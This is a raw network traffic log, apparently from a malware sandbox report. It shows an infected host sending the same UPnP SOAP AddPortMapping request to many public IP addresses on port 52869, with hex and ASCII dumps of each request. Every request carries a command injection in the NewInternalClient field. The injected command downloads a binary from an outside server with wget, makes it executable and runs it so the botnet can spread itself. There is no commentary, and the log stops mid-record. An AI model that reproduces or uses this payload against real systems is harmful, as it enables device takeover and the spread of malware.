Jul 20, 2024 23:10:39.125097036 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.15	40840	212.22.178.123	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.128787994 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.15	44114	125.46.245.158	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.132797003 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.15	36298	91.122.92.170	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.137398958 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.15	42866	61.53.244.138	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.141371965 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.15	42306	72.244.52.162	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.145039082 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.15	60590	166.78.169.15	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.148190975 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.15	55874	134.192.167.73	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.152961016 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.15	47922	73.163.96.192	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.155870914 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.15	43136	204.13.73.202	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.160043955 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.15	60444	23.180.240.118	52869

Timestamp	Bytes transferred	Direction	Data
